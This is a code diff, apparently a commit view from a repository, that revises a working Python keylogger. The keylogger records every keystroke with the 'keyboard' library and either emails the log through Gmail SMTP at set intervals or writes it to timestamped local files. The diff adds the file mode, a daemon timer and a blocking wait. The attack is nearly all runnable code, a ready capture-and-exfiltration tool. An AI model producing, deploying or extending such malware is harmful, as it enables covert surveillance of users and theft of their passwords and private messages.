1
1
import keyboard # for keylogs
2
2
import smtplib # for sending email using SMTP protocol (gmail)
3
- # Semaphore is for blocking the current thread
4
3
# Timer is to make a method runs after an `interval` amount of time
5
- from threading import Semaphore , Timer
4
+ from threading import Timer
5
+ from datetime import datetime
6
6
7
- SEND_REPORT_EVERY = 600 # 10 minutes
7
+ SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
8
8
EMAIL_ADDRESS = "put_real_address_here@gmail.com"
9
9
EMAIL_PASSWORD = "put_real_pw"
10
10
11
11
class Keylogger :
12
- def __init__ (self , interval ):
12
+ def __init__ (self , interval , report_method = "email" ):
13
13
# we gonna pass SEND_REPORT_EVERY to interval
14
14
self .interval = interval
15
+ self .report_method = report_method
15
16
# this is the string variable that contains the log of all
16
17
# the keystrokes within `self.interval`
17
18
self .log = ""
18
- # for blocking after setting the on_release listener
19
- self .semaphore = Semaphore (0 )
19
+ # record start & end datetimes
20
+ self .start_dt = datetime .now ()
21
+ self .end_dt = datetime .now ()
20
22
21
23
def callback (self , event ):
22
24
"""
@@ -39,9 +41,24 @@ def callback(self, event):
39
41
# replace spaces with underscores
40
42
name = name .replace (" " , "_" )
41
43
name = f"[{ name .upper ()} ]"
42
-
44
+ # finally, add the key name to our global `self.log` variable
43
45
self .log += name
44
46
47
+ def update_filename (self ):
48
+ # construct the filename to be identified by start & end datetimes
49
+ start_dt_str = str (self .start_dt )[:- 7 ].replace (" " , "-" ).replace (":" , "" )
50
+ end_dt_str = str (self .end_dt )[:- 7 ].replace (" " , "-" ).replace (":" , "" )
51
+ self .filename = f"keylog-{ start_dt_str } _{ end_dt_str } "
52
+
53
+ def report_to_file (self ):
54
+ """This method creates a log file in the current directory that contains
55
+ the current keylogs in the `self.log` variable"""
56
+ # open the file in write mode (create it)
57
+ with open (f"{ self .filename } .txt" , "w" ) as f :
58
+ # write the keylogs to the file
59
+ print (self .log , file = f )
60
+ print (f"[+] Saved { self .filename } .txt" )
61
+
45
62
def sendmail (self , email , password , message ):
46
63
# manages a connection to an SMTP server
47
64
server = smtplib .SMTP (host = "smtp.gmail.com" , port = 587 )
@@ -61,24 +78,38 @@ def report(self):
61
78
"""
62
79
if self .log :
63
80
# if there is something in log, report it
64
- self .sendmail (EMAIL_ADDRESS , EMAIL_PASSWORD , self .log )
65
- # can print to a file, whatever you want
66
- # print(self.log)
81
+ self .end_dt = datetime .now ()
82
+ # update `self.filename`
83
+ self .update_filename ()
84
+ if self .report_method == "email" :
85
+ self .sendmail (EMAIL_ADDRESS , EMAIL_PASSWORD , self .log )
86
+ elif self .report_method == "file" :
87
+ self .report_to_file ()
88
+ # if you want to print in the console, uncomment below line
89
+ # print(f"[{self.filename}] - {self.log}")
90
+ self .start_dt = datetime .now ()
67
91
self .log = ""
68
- Timer (interval = self .interval , function = self .report ).start ()
92
+ timer = Timer (interval = self .interval , function = self .report )
93
+ # set the thread as daemon (dies when main thread die)
94
+ timer .daemon = True
95
+ # start the timer
96
+ timer .start ()
69
97
70
98
def start (self ):
99
+ # record the start datetime
100
+ self .start_dt = datetime .now ()
71
101
# start the keylogger
72
102
keyboard .on_release (callback = self .callback )
73
103
# start reporting the keylogs
74
104
self .report ()
75
- # block the current thread,
76
- # since on_release() doesn't block the current thread
77
- # if we don't block it, when we execute the program, nothing will happen
78
- # that is because on_release() will start the listener in a separate thread
79
- self .semaphore .acquire ()
105
+ # block the current thread, wait until CTRL+C is pressed
106
+ keyboard .wait ()
80
107
81
108
82
109
if __name__ == "__main__" :
83
- keylogger = Keylogger (interval = SEND_REPORT_EVERY )
110
+ # if you want a keylogger to send to your email
111
+ # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
112
+ # if you want a keylogger to record keylogs to a local file
113
+ # (and then send it using your favorite method)
114
+ keylogger = Keylogger (interval = SEND_REPORT_EVERY , report_method = "file" )
84
115
keylogger .start ()
0 commit comments